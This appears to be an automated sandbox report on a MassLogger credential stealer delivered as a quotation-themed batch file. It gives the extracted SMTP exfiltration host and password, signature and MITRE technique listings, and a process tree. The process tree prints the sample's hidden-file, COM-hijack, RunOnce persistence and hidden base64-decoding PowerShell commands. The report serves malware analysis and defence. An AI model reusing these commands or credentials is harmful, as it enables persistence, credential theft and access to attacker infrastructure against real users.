Analysis
- max time kernel
149s - max time network
126s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
27/04/2026, 02:49
General
- Target Request for Quotation-BD00900M.bat
- Size 122KB
- Sample260427-dbbfhsdy9p
- SHA256 248812accf82ca745dd93e7f825be990dec0dfdce44ec3e1d8475f523962fa5c
Malware Config
Extracted
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Protocol
smtp
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Host
mail.taikei-rmc-co.biz
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Port
587
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Username
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Password
dy8tm;jRtJO[:bG:
Extracted
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masslogger
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exfiltration_mode
#SMTPEnabled
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expire_time_date
2025-12-17
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host_password
dy8tm;jRtJO[:bG:
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host_port
587
- host_receiver
- host_sender
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host_server
mail.taikei-rmc-co.biz
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ssl_slate
True
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Request for Quotation-BD00900M.bat"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Request for Quotation-BD00900M.bat"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GUILTY.bat"4⤵
- Views/modifies file attributes
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{74C19A41-6FE0-29F5-9DA0-03669D45D8CD}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{74C19A41-6FE0-29F5-9DA0-03669D45D8CD}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{74C19A41-6FE0-29F5-9DA0-03669D45D8CD}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
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C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Palestinian" /t REG_SZ /d "cmd.exe /c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\GUILTY.bat\"" /f4⤵
- Adds Run key to start application
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -Command "[Runtime.InteropServices.Marshal]::freeHGlobal([IntPtr]::Zero); [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Get-Content 'C:\Users\Admin\AppData\Local\Temp\billion.tmp' -Raw).Replace('`r','').Replace('`n',''))) | Out-File -FilePath 'C:\Users\Admin\AppData\Local\Temp\Congress.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -File "C:\Users\Admin\AppData\Local\Temp\Congress.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ebk4teyp\ebk4teyp.cmdline"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1D86.tmp" "c:\Users\Admin\AppData\Local\Temp\ebk4teyp\CSC8317D9A6B969417482E9BC90BF9EA37E.TMP"6⤵
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
Congress.ps1
RES1D86.tmp
__PSScriptPolicyTest_w4vbw0pk.11f.ps1
billion.tmp
billion.tmp
ebk4teyp.dll
GUILTY.bat
CSC8317D9A6B969417482E9BC90BF9EA37E.TMP
ebk4teyp.0.cs
ebk4teyp.cmdline
memory/2764-57-0x00000202DC910000-0x00000202DCA3A000-memory.dmp
memory/2764-50-0x00000202F6A30000-0x00000202F6A52000-memory.dmp
memory/2764-43-0x00000202F6AD0000-0x00000202F6AE0000-memory.dmp
memory/2764-44-0x00000202F6AD0000-0x00000202F6AE0000-memory.dmp
memory/2764-58-0x00000202DE2E0000-0x00000202DE2EC000-memory.dmp
memory/2988-81-0x000002314A2B0000-0x000002314A2BC000-memory.dmp
memory/3256-88-0x0000000003330000-0x000000000334E000-memory.dmp
memory/3256-84-0x0000000000D30000-0x0000000000D40000-memory.dmp
memory/3256-93-0x000000000B690000-0x000000000B852000-memory.dmp
memory/3256-92-0x0000000008DE0000-0x0000000008E30000-memory.dmp
memory/4268-78-0x0000012AC2050000-0x0000012AC205C000-memory.dmp
memory/5936-83-0x00000206CD590000-0x00000206CD598000-memory.dmp
memory/5936-90-0x00000206B4DA0000-0x00000206B4DAC000-memory.dmp
memory/5936-91-0x00000206CD5D0000-0x00000206CD63B000-memory.dmp
memory/5936-87-0x00000206CD5D0000-0x00000206CD63B000-memory.dmp
memory/5936-86-0x00000206B4DA0000-0x00000206B4DAC000-memory.dmp